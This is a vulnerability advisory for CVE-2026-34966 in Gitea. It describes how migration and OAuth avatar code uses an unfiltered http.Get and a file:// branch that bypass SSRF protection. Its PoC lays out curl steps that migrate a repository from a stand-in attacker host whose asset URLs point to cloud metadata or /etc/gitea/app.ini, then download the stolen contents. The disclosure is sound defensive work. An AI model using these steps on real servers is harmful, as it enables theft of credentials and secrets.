CVE-2026-34966

Ein Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um Informationen offenzulegen.

### Summary Gitea has robust SSRF protection via `hostmatcher.NewDialContext()` for webhook and migration clone URLs, which validates resolved IPs at the TCP dial level. However, three code paths use raw `http.Get()` (Go's `DefaultClient`) which completely bypasses this protection, enabling SSRF to internal services and local file read via the `file://` scheme. ### Vulnerable Code **File: `modules/uri/uri.go` (line 32) -- Core vulnerability** ```go func Open(uriStr string) (io.ReadCloser, error) { u, err := url.Parse(uriStr) switch strings.ToLower(u.Scheme) { case "http", "https": f, err := http.Get(uriStr) // RAW http.Get -- no hostmatcher filtering return f.Body, nil case "file": return os.Open(u.Path) // LOCAL FILE READ via file:// scheme } } ``` **Callers in migration path:** - `services/migrations/gitea_uploader.go:340` -- `uri.Open(*asset.DownloadURL)` for release assets - `services/migrations/gitea_uploader.go:586` -- `uri.Open(pr.PatchURL)` for PR patches **File: `services/migrations/dump.go` (lines 312, 453)** ```go // Line 312 -- release asset download resp, err := http.Get(*asset.DownloadURL) // Line 453 -- PR patch download (with self-documenting TODO) resp, err := http.Get(u) // TODO: This probably needs to use the downloader ``` **File: `routers/web/auth/oauth.go` (line 306)** ```go func oauth2UpdateAvatarIfNeed(ctx *context.Context, url string, u *user_model.User) { resp, err := http.Get(url) // RAW http.Get -- no hostmatcher ``` **Contrast with protected migration clone (same codebase):** ```go // services/migrations/migrate.go:526 -- PROTECTED with hostmatcher transport.DialContext = hostmatcher.NewDialContext("migration", allowList, blockList, ...) ``` ### PoC ```bash # Step 1: Set up attacker Gitea instance with malicious release asset URLs # Create a repo on evil.gitea.attacker.com with a release asset whose # download_url points to internal services: # Asset DownloadURL set to: http://169.254.169.254/latest/meta-data/iam/security-credentials/role # Or: file:///etc/gitea/app.ini (local file read) # Step 2: Admin triggers migration from attacker's Gitea instance curl -s -X POST "https://target-gitea.com/api/v1/repos/migrate" \ -H "Authorization: token ADMIN_API_TOKEN" \ -H "Content-Type: application/json" \ -d '{ "clone_addr": "https://evil.gitea.attacker.com/user/repo.git", "repo_name": "migrated-repo", "repo_owner": "admin", "service": "gitea" }' # Step 3: During migration, Gitea downloads release assets using unfiltered http.Get() # Cloud metadata is saved as the release asset attachment in the migrated repo # Or app.ini contents (with DB credentials, JWT secrets) are saved via file:// scheme # Step 4: Attacker accesses the migrated repo's release assets to retrieve stolen data curl -s "https://target-gitea.com/admin/migrated-repo/releases/download/v1.0/stolen-metadata.txt" ``` ### Impact - **Cloud metadata theft:** `169.254.169.254` reachable via unfiltered `http.Get()` (AWS IMDSv1 credentials, GCP tokens) - **Local file read:** `file://` scheme in `uri.Open()` reads `/etc/gitea/app.ini` (database credentials, JWT signing secrets, SMTP passwords) - **Internal service scanning:** Reach `127.0.0.1`, `10.x`, `172.16-31.x`, `192.168.x` networks - **Bypasses existing SSRF protection:** The `hostmatcher` dialer is comprehensive but only applied to webhook and clone transports -- these three paths are unprotected - Migration vectors require migration permission (admin/org owner); OAuth vector requires admin-configured custom OAuth2 source

Gitea prior to 1.27.0 contains a server-side request forgery vulnerability that allows authenticated attackers to bypass SSRF protections by exploiting HTTP fetch operations in migration and OAuth avatar code paths that use Go's default http.Get without a custom DialContext. Attackers can supply arbitrary URLs through release asset download URLs, pull-request patch URLs, or OAuth avatar endpoints to reach internal services, cloud instance-metadata endpoints, or read local files such as the application configuration containing database credentials and signing secrets, with exfiltrated content persisted as migration release assets for later retrieval.

SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata

Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata in gitea.dev